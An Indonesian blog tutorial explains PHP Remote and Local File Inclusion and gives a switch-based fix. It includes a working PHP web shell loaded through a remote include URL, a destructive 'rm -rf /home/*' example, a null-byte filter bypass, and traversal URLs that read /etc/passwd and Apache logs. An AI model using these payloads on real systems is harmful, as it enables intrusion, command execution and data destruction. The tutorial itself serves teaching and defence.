Dieksploitasi dengan memasukkan script dari situs lain ke situs yang terinfeksi, misalnya kita dapat menyertakan PHP-Shell, dan atau mengeksekusi perintah pada server yang rentan tersebut. Celah ini sangat berbahaya dan sebuah situs yang rentan dapat diacak-acak dengan mudah...
Catatan :
http:// wrapper harus aktif pada konfigurasi server dengan allow_url_include=On pada php.ini
allow_url_fopen=on (PHP < 5.2.0)
allow_url_include=on (PHP >= 5.2.0)
Contoh kode yang dapat dimanfaatkan untuk celah ini :
Seperti yang bisa kita lihat, kita mengambil variabel 'page' kemudian di include-kan ke website. misalnya :<?phpif (isset($_GET['page'])) {
include($_GET['page']);
}?>
http://crayon.gov/labs/tutorials/basic-web-apps-hacking/rfi.php?page=includes/contact.inc
ini akan memanggil dan mengeksekusi contact.inc pada folder 'includes'.tapi, apa yang membuatnya berbahaya?
Katakanlah file malcode.txt yang berada di http://crayon.gov/labs/tutorials/basic-web-apps-hacking/malcode.txt memiliki kode berikut:
Contoh serangan :<?php if (isset($_POST['cmd'])) {
@system($_POST['cmd']);
}
echo "
<form method='POST'>
<input type='text' name='cmd'>
<input type='submit' name='submit' value='Go!'>
</form>";?>
http://crayon.gov/labs/tutorials/basic-web-apps-hacking/rfi.php?page=http://crayon.gov/labs/tutorials/basic-web-apps-hacking/malcode.txt
apa yang terjadi kemudian? Kode akan terlihat seperti ini:file teks yang akan dimasukkan akan dijalankan sebagai kode php.<?phpif (isset($_GET['page'])) {
include('http://crayon.gov/labs/tutorials/basic-web-apps-hacking/malcode.txt');
}?>
Sebuah kotak teks kecil akan muncul pada halaman website dengan sebuah tombol, yang akan mengeksekusi perintah ke sistem...
jika dia cukup 'wewenang', ia dapat melakukan hal berikut:
rm -rf /home/*
dan... *puffff* file2 di bawah folder home hilang...beberapa developer berpikir mereka dapat memperbaiki celah tersebut dengan melakukan hal berikut:
Cara ini, Anda hanya dapat menyertakan file .inc.<?php
$page = NULL;
if ( isset ($_GET['page']) ) {
$page = $_GET['page'] . ".inc";
}
if (isset($page)) {
include($page);
}?>
http://crayon.gov/labs/tutorials/basic-web-apps-hacking/rfi-little-filter.php?page=includes/contact
namun, itu tidak akan menghentikan beberapa orang! Ada sesuatu yang disebut NullByte yang membuat PHP untuk mengabaikan apapun setelah NullByte tersebut... jika seseorang ingin mengeksploitasi kode tersebut, penyerang akan melakukan:
http://crayon.gov/labs/tutorials/basic-web-apps-hacking/rfi-bad-filter.php?page=http://crayon.gov/labs/tutorials/basic-web-apps-hacking/malcode.txt?
ATAU bahkan hanya dengan [?] (Tanda tanya) pada akhir file.
http://crayon.gov/labs/tutorials/basic-web-apps-hacking/rfi-bad-filter.php?page=http://crayon.gov/labs/tutorials/basic-web-apps-hacking/malcode.txt?
Seperti yang Anda lihat, [] adalah NullByte, yang kemudian code tersebut akan menjadi seperti berikut:Jadi sekarang pertanyaannya adalah: bagaimana caranya agar hal tersebut dapat diatasi ?<?php
$page = NULL;
if ( isset ($_GET['page']) ) {
$page = $_GET['page'] . ".inc";
}
if (isset($page)) {
include('http://crayon.gov/labs/tutorials/basic-web-apps-hacking/malcode.txt?');
// ignoring anything after the NullByte, which is in this case, the .inc}?>
Kita dapat menggunakan fungsi switch. Dengan cara ini, apa pun selain apa yang telah disebutkan pada fungsi switch tersebut tidak akan disertakan.
Contoh :
<?phpif ( isset($_GET['page']) ) {
switch ($_GET['page']) {
case 'about':
include('includes/about.inc'); // if the page was about, get the about.inc contents...
break;
case 'contact':
include('includes/about.inc'); // and so on :)
break;
default:
include('includes/index.inc'); // the default page to include, if the page variable was not found, or it was a hack attempt :)
break;
}
}?>
LFI :: Local File Inclusion
Mirip seperti RFI, perbedaannya adalah LFI hanya mendapatkan file dari server tersebut.
RFI menjadi LFI ketika http:// wrapper dinonaktifkan ( allow_url_include = Off ) pada php.ini
Contoh :
http://localhost/labs/tutorials/basic-web-apps-hacking/rfi.php?page=../../../../../../../../../../etc/passwd
http://localhost/labs/tutorials/basic-web-apps-hacking/rfi.php?page=../../../../../../../../../../var/log/apache2/error.log
- dan seterusnya...
0 komentar:
Post a Comment